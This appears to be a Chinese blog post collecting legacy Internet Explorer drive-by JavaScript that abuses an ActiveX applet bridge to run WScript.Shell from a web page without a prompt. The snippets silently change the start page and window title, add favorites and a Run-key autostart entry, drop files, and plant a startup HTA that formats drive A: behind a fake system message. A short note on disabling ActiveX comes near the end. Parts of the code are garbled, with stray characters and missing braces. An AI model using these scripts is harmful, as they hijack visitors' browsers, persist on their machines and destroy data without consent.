« 三个最厉害的国际反垃圾邮件组织1000多个Google域名列表 »

用脚本修改用户注册表的JS代码(网上收集)


自动加入收藏夹、设为首页
(如果自己试的话,想再试多一次就要清COOKIE,如果是别人的话,就次次都行的)

<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 

//this function is only needed if you add favorites  or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites  or links function 

function f(){
try
{
//ActiveX initialization
a1=document.applets�;
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject(); 

try
{
if (document.cookie.indexOf("Chg") == -1) 
{
//set cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set cookie 

//set home page
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blueidea.com/");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page 

//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part 

//the following line is used for adding favorites.
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, "经典论坛", "http://www.blueidea.com");
//end add favorites 


}
}
catch(e)
{}
}
catch(e)
{}


function init()
{
setTimeout("f()", 1000);


init(); 

</script> 


**************************


经过修改的代码
(经过修改的代码,取消了COOKIE的限制,可以通过它修改注册表中IE的主页设置和标题项。)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
<HTML> 
<HEAD> 
<TITLE>经过修改的代码</TITLE> 
<META NAME="Generator" CONTENT="EditPlus"> 
<META NAME="Author" CONTENT=""> 
<META NAME="Keywords" CONTENT=""> 
<META NAME="Description" CONTENT=""> 
</HEAD> 

<BODY BGCOLOR="#FFFFFF"> 
<script> 
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 

//this function is only needed if you add favorites  or links 
function AddFavLnk(loc, DispName, SiteURL) 

var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); 
Shor.TargetPath = SiteURL; 
Shor.Save(); 

//end add favorites  or links function 

function f(){ 
try 

//ActiveX initialization 
a1=document.applets�; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject(); 

try 

if (document.cookie.indexOf("Chg") == -1) 

//set cookie 
var expdate = new Date((new Date()).getTime() + (1)); 
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
//end set cookie 

//set home page 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blueidea.com/"); 
var expdate = new Date((new Date()).getTime() + (1)); 
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
//end set home page 

//set IE title 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer 欢迎光临经典论坛 http://www.blueidea.com");/ 
var expdate = new Date((new Date()).getTime() + (1)); 
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
//end IE title 

//add favorites this is the common part; should be here if you want to add favorites 
var WF, Shor, loc; 
WF = FSO.GetSpecialFolder(0); 
loc = WF + "\\Favorites"; 
if(!FSO.FolderExists(loc)) 

loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; 
if(!FSO.FolderExists(loc)) 

return; 


//end common part 

//the following line is used for adding favorites. 
//to add multiple favorites, duplicate the following line, changing the last 2 paramaters. 
AddFavLnk(loc, "经典论坛", "http://www.blueidea.com"); 
//end add favorites 



catch(e) 
{} 

catch(e) 
{} 


function init() 

setTimeout("f()", 1000); 


init(); 

</script> 
已经设置成功!(已经取消了时间COOKIE的限制) 
</BODY> 
</HTML> 


*********************


格式化硬盘的,
把启动菜单下的automat.hta删除即可,这是格式化 a:盘 代码片段如下:

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"> 
</object> 
<SCRIPT> 
scr.Reset(); 
scr.Path="C:\\windows\\start menu\\Programs\\启动\\automat.hta"; 
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>"; 
scr.write(); 
</script> 


**************************


建立文件的 代码片段如下:

<HTML>
<HEAD>
<TITLE>
建立文件
</TITLE>
</HEAD>
<BODY>
<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" > 
</APPLET> 

<SCRIPT LANGUAGE="JAVASCRIPT"> 
a1=document.applets�;
fn="51js.HTM";
doc="<SCRIPT>s1=\'欢迎你访问经典论坛!\\请您将在启动文件夹内的blueidea.com.HTM删除即可\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";
function f1()
{
a1.setProperty('DOC',doc);


function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);
}
setTimeout("f()",1000)
</SCRIPT> 

<SCRIPT LANGUAGE="VBSCRIPT"> 
VA = ARRAY()
' 获取com.ms.com.Variant&#;
</SCRIPT>
<BR>
</BODY>
</HTML> 


**************************


开机自动运行

<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 

function f(){
a1=document.applets�;
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //用com 的classID引用了Windows Script Host Shell Object,这是关键,这种引用不会引起浏览器报错
a1.createInstance();
Shl=a1.GetObject();
Shl.RegWrite ("HKCU\\Software\\Microsoft\\windows\\CurrentVersion\\Run\\Microsoft.exe", "explorer.exe c:");


function init()
{
setTimeout("f()", 1000);
}
</script> 

<a href=javascript:init()>点击这里,下次开机显示你的C盘内容</a> 


*************************


代码片断分析

1、加入收藏夹
原理:找到 Windows 收藏夹目录,并把当前页的 .url 文件复制到 Favourite 目录中。
代码片段如下:

// 注:这只是片段,不能直接运行!
d favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}


2、设置为首页
原理:通过修改注册表键值实现 SetToHome 功能。
代码片段如下:

// 注:这只是片段,不能直接运行! 

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blueidea.com/");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 


3、桌面快捷方式
原理:其实很简单,就是利用了 CreateShortcut 这个函数。
代码片段如下:

// 注:这只是片段,不能直接运行! 

function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();


注: 至于为什么只能加入一次收藏夹,我个人认为可能是 Cookie 的
操作问题... 具体请看下面这段代码。
代码片段如下:


// 注:这只是片段,不能直接运行! 

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 


**********************

我是说如果你没有把你的安全级别设为高的话,是没有提示的!
这样有很多用处,比如加入收藏和设为首页,不用出现提示了!
代码片段如下:

看看你的桌面上是不是多了一个blueidea.htm呢?

<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" > 
</APPLET>
<!-- ^^^ This gives java exceptions in java console, but the object is instantiated --> 

<SCRIPT LANGUAGE="JAVASCRIPT"> 
a1=document.applets�;
fn="blueidea.HTM";
doc="";
function f1()
{
a1.setProperty('DOC',doc);


function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);",2000);
}
setTimeout("f()",1000)
</SCRIPT> 

<SCRIPT LANGUAGE="VBSCRIPT"> 
VA = ARRAY()
</SCRIPT> 

***********************

注意:
本脚本只用于Window平台,IE浏览器并装有Window Script host5.0以上的机器
只要不运行本地的Activex就可以禁止它。
在IE中如下操作可以禁止:
主菜单中选 -> 查看 -> Internet 选项 -> 安全
选中Internet,单击自定义级别。
看到了吧,所有的ActiveX控件都用提示或禁止,无论是否安全。
这里所谓安全是对于MS而言的。

或者如果你不想用Java 的话也可以只关了Applet,本脚本是用Java Applet引入ActiveX的。

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

Google

最新评论及回复

相关文章

Powered By Z-Blog 1.8 Spirit Build 80722

Copyright 2005-2008 Wuhuifeng.Com. All Rights Reserved. 京ICP备05006557号